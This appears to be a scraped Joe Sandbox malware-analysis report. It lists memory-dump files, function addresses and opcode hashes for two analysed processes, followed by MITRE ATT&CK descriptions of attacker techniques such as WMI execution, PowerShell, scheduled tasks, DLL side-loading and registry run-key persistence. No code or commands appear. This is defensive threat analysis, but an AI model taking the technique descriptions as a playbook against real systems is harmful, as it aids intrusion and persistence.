Source File: 00000004.00000002.2174682037.0000000000FDA000.00000040.00000001.01000000.00000006.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000004.00000002.2174602939.0000000000FD0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174629475.0000000000FD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655497.0000000000FD6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174719681.0000000000FE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174826522.000000000114D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174853739.000000000114F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174884320.0000000001166000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174884320.0000000001171000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174940769.0000000001187000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174966798.0000000001188000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174992078.0000000001189000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175020102.000000000118B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175049083.000000000118C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175078157.000000000118E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175112451.00000000011A5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175140640.00000000011A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175169294.00000000011A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175199767.00000000011A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175228267.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175257432.00000000011B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175285832.00000000011B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175319090.00000000011C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175351870.00000000011CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175381493.00000000011CD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175417350.00000000011E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175446192.00000000011E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175476517.00000000011EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175510123.00000000011EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175543284.00000000011EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175575687.00000000011F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175605213.00000000011F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175635969.00000000011FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175669583.000000000120C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175703110.0000000001214000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175733304.000000000121E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175764717.0000000001226000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175800356.0000000001237000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175831128.000000000123A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175882858.0000000001282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175882858.000000000128A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175952664.0000000001298000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2176296714.000000000129A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fd0000_GVDV7NGS54W9A7T64.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9078f98f7e47b9c43b62c032dc5a0f26eb2ed44f7a134572a28b58021eaff7d5
Instruction ID: 5a1bbabb867b4b63bc60ab225fe37e12bba2cae5a4143454589e31462ed6e45d
Opcode Fuzzy Hash: 9078f98f7e47b9c43b62c032dc5a0f26eb2ed44f7a134572a28b58021eaff7d5
Instruction Fuzzy Hash: D6E06D7690C4198BDB00AF34C40879E77A0EF14311F16062ADDD2D7680D2724C20EE96

Non-executed Functions

Function 01166000 Relevance: 1.7, Strings: 1, Instructions: 497COMMON

Download Yara Rule

Strings

]q/u, xrefs: 011663AD

Memory Dump Source

Source File: 00000004.00000002.2174884320.0000000001166000.00000040.00000001.01000000.00000006.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000004.00000002.2174602939.0000000000FD0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174629475.0000000000FD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655497.0000000000FD6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174682037.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174719681.0000000000FE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174826522.000000000114D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174853739.000000000114F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174884320.0000000001171000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174940769.0000000001187000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174966798.0000000001188000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174992078.0000000001189000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175020102.000000000118B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175049083.000000000118C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175078157.000000000118E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175112451.00000000011A5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175140640.00000000011A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175169294.00000000011A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175199767.00000000011A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175228267.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175257432.00000000011B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175285832.00000000011B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175319090.00000000011C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175351870.00000000011CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175381493.00000000011CD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175417350.00000000011E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175446192.00000000011E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175476517.00000000011EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175510123.00000000011EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175543284.00000000011EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175575687.00000000011F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175605213.00000000011F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175635969.00000000011FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175669583.000000000120C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175703110.0000000001214000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175733304.000000000121E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175764717.0000000001226000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175800356.0000000001237000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175831128.000000000123A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175882858.0000000001282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175882858.000000000128A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175952664.0000000001298000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2176296714.000000000129A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fd0000_GVDV7NGS54W9A7T64.jbxd

Similarity

API ID:
String ID: ]q/u
API String ID: 0-2137241562
Opcode ID: b4eb0b63bc0e56786985c866f66d310e6fcc8444044181a41dc85d483fcb2548
Instruction ID: 6050e6d8bca5e1b562d14137ab016be8acdae06e88e766cfd73f6b6f7482978f
Opcode Fuzzy Hash: b4eb0b63bc0e56786985c866f66d310e6fcc8444044181a41dc85d483fcb2548
Instruction Fuzzy Hash: 87E125F3A0C2049FE308AE1DEC8577ABBD9EB94320F16453DE6C5C7384EA7598058697

Function 01172C13 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

G2T, xrefs: 01172D93

Memory Dump Source

Source File: 00000004.00000002.2174884320.0000000001171000.00000040.00000001.01000000.00000006.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000004.00000002.2174602939.0000000000FD0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174629475.0000000000FD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655497.0000000000FD6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174682037.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174719681.0000000000FE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174826522.000000000114D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174853739.000000000114F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174884320.0000000001166000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174940769.0000000001187000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174966798.0000000001188000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174992078.0000000001189000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175020102.000000000118B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175049083.000000000118C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175078157.000000000118E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175112451.00000000011A5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175140640.00000000011A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175169294.00000000011A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175199767.00000000011A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175228267.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175257432.00000000011B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175285832.00000000011B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175319090.00000000011C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175351870.00000000011CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175381493.00000000011CD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175417350.00000000011E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175446192.00000000011E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175476517.00000000011EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175510123.00000000011EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175543284.00000000011EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175575687.00000000011F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175605213.00000000011F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175635969.00000000011FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175669583.000000000120C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175703110.0000000001214000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175733304.000000000121E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175764717.0000000001226000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175800356.0000000001237000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175831128.000000000123A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175882858.0000000001282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175882858.000000000128A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175952664.0000000001298000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2176296714.000000000129A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fd0000_GVDV7NGS54W9A7T64.jbxd

Similarity

API ID:
String ID: G2T
API String ID: 0-16398698
Opcode ID: 7b1a0ffb7553b4eddb85409b0d740807c7ba0b0905b7fb768a9c9bd660d75328
Instruction ID: 35f985223f41c80d024ed5c093c5134e244ee2be9b940a2518d0ffa436e3b193
Opcode Fuzzy Hash: 7b1a0ffb7553b4eddb85409b0d740807c7ba0b0905b7fb768a9c9bd660d75328
Instruction Fuzzy Hash: ED2100F260C100EBE24C6A69DD26A3EB7F5EBA8620F27092DD8C3C7714EB7094534653

Function 0116C807 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2174884320.0000000001166000.00000040.00000001.01000000.00000006.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000004.00000002.2174602939.0000000000FD0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174629475.0000000000FD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655497.0000000000FD6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174682037.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174719681.0000000000FE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174826522.000000000114D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174853739.000000000114F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174884320.0000000001171000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174940769.0000000001187000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174966798.0000000001188000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174992078.0000000001189000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175020102.000000000118B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175049083.000000000118C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175078157.000000000118E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175112451.00000000011A5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175140640.00000000011A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175169294.00000000011A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175199767.00000000011A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175228267.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175257432.00000000011B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175285832.00000000011B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175319090.00000000011C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175351870.00000000011CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175381493.00000000011CD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175417350.00000000011E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175446192.00000000011E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175476517.00000000011EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175510123.00000000011EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175543284.00000000011EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175575687.00000000011F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175605213.00000000011F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175635969.00000000011FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175669583.000000000120C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175703110.0000000001214000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175733304.000000000121E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175764717.0000000001226000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175800356.0000000001237000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175831128.000000000123A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175882858.0000000001282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175882858.000000000128A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175952664.0000000001298000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2176296714.000000000129A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fd0000_GVDV7NGS54W9A7T64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f46771496c90739e924f5c2af25c0410d5d2d238e9c476af986a2bae18a3a67
Instruction ID: 996436448e7b5ffcc227d39e85c16d372beceb0448e072625dc06adbdf749eb9
Opcode Fuzzy Hash: 0f46771496c90739e924f5c2af25c0410d5d2d238e9c476af986a2bae18a3a67
Instruction Fuzzy Hash: 5611A1F724D151BEB21AC6496F50EBBB76DE6C2334730C43BF486C6042D3929C1956B5

Analysis Process: AJK1SC9862O5LRO4.exePID: 6840, Parent PID: 3608COMMON

Executed Functions

Function 0558076A Relevance: 1.4, Strings: 1, Instructions: 171COMMON

Download Yara Rule

Strings

j6Fr, xrefs: 055808D7

Memory Dump Source

Source File: 00000005.00000002.2101277209.0000000005580000.00000040.00001000.00020000.00000000.sdmp, Offset: 05580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5580000_AJK1SC9862O5LRO4.jbxd

Similarity

API ID:
String ID: j6Fr
API String ID: 0-1293003210
Opcode ID: a0d6375c6568fef1d0b10becf1764239078ea28146028ba34072ae1e0ee9ebe6
Instruction ID: f2533fa5b4accfdf029ddf1983744dcaa2448c0dba8d5ade2760a3083c797ee7
Opcode Fuzzy Hash: a0d6375c6568fef1d0b10becf1764239078ea28146028ba34072ae1e0ee9ebe6
Instruction Fuzzy Hash: CD318AA700C2507EA243A591570DAF67B6FFBC3670730887AF442E6562E1D54A8E46B1

Function 055808B0 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

j6Fr, xrefs: 055808D7

Memory Dump Source

Source File: 00000005.00000002.2101277209.0000000005580000.00000040.00001000.00020000.00000000.sdmp, Offset: 05580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5580000_AJK1SC9862O5LRO4.jbxd

Similarity

API ID:
String ID: j6Fr
API String ID: 0-1293003210
Opcode ID: 325405745051d5a204ab443dd82d2d0dc0811e903f080cccc9c6f8a255d41e25
Instruction ID: c9a61ab0553fd512497ac705f5b4aadff2e8b1dd44296e24f83073c3eebf1ba1
Opcode Fuzzy Hash: 325405745051d5a204ab443dd82d2d0dc0811e903f080cccc9c6f8a255d41e25
Instruction Fuzzy Hash: 2011C1AB148214BD7142E4926B1DEFA7B2EF6C3730330C83AF846D1452E1D54E9E19F1

Function 05580834 Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

j6Fr, xrefs: 055808D7

Memory Dump Source

Source File: 00000005.00000002.2101277209.0000000005580000.00000040.00001000.00020000.00000000.sdmp, Offset: 05580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5580000_AJK1SC9862O5LRO4.jbxd

Similarity

API ID:
String ID: j6Fr
API String ID: 0-1293003210
Opcode ID: 0782eb2d7dccc723e8640335b4b0389ef4ac0f1c5637aa4587ebca7e05d36c47
Instruction ID: b5a53bd7d0a2bdb614560636fb69cfa30a12a7f8ae17cfdd569ad3858e7a619e
Opcode Fuzzy Hash: 0782eb2d7dccc723e8640335b4b0389ef4ac0f1c5637aa4587ebca7e05d36c47
Instruction Fuzzy Hash: B311B2AB04C2107DB142A5816B1C9FA6B2EF7C3730730C877F447E1453E1990A9D55B2

Function 05580870 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

j6Fr, xrefs: 055808D7

Memory Dump Source

Source File: 00000005.00000002.2101277209.0000000005580000.00000040.00001000.00020000.00000000.sdmp, Offset: 05580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5580000_AJK1SC9862O5LRO4.jbxd

Similarity

API ID:
String ID: j6Fr
API String ID: 0-1293003210
Opcode ID: ad05d3316bdf90d6f8648a123ef4cd73baaba1545f7fbe26e171cc19b66e1c12
Instruction ID: 085111ae20d39e2c81c9ba4ddeec77ee9f1e7cc7a0605e33fd6882ed0bc688d6
Opcode Fuzzy Hash: ad05d3316bdf90d6f8648a123ef4cd73baaba1545f7fbe26e171cc19b66e1c12
Instruction Fuzzy Hash: 5101D2AB1482107D7142D1926B199F6BB7EF2C7730330883BF803D6412D2D90A9D65B2

Function 05580897 Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

j6Fr, xrefs: 055808D7

Memory Dump Source

Source File: 00000005.00000002.2101277209.0000000005580000.00000040.00001000.00020000.00000000.sdmp, Offset: 05580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5580000_AJK1SC9862O5LRO4.jbxd

Similarity

API ID:
String ID: j6Fr
API String ID: 0-1293003210
Opcode ID: 52d451373edb7d9126d8f5fe942bba4940bd00bdd2225c79c49ffd51e20dc122
Instruction ID: 08577a958a3f4d5ca4b492669cb84e7f806cd8b36a2371bea94566e82b92aa38
Opcode Fuzzy Hash: 52d451373edb7d9126d8f5fe942bba4940bd00bdd2225c79c49ffd51e20dc122
Instruction Fuzzy Hash: 9BF0A4AB14D2106DB182E4962B189FAA77DF1C7730330C837F446D6552D2C90A8E55B2

Function 055808ED Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2101277209.0000000005580000.00000040.00001000.00020000.00000000.sdmp, Offset: 05580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5580000_AJK1SC9862O5LRO4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b92fa02b6190b1a1152e843adc6c6462c6cc015784f6336071d89354c66c2f4
Instruction ID: 20c4addace510362699c4ffcc66dc369c146fb19926928d8eab57ef7e1b6aed0
Opcode Fuzzy Hash: 0b92fa02b6190b1a1152e843adc6c6462c6cc015784f6336071d89354c66c2f4
Instruction Fuzzy Hash: 3EE01AEB1490147C7082E0827F24EFB676EE1C7731330C87BF802C1446D1890A8E6031

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

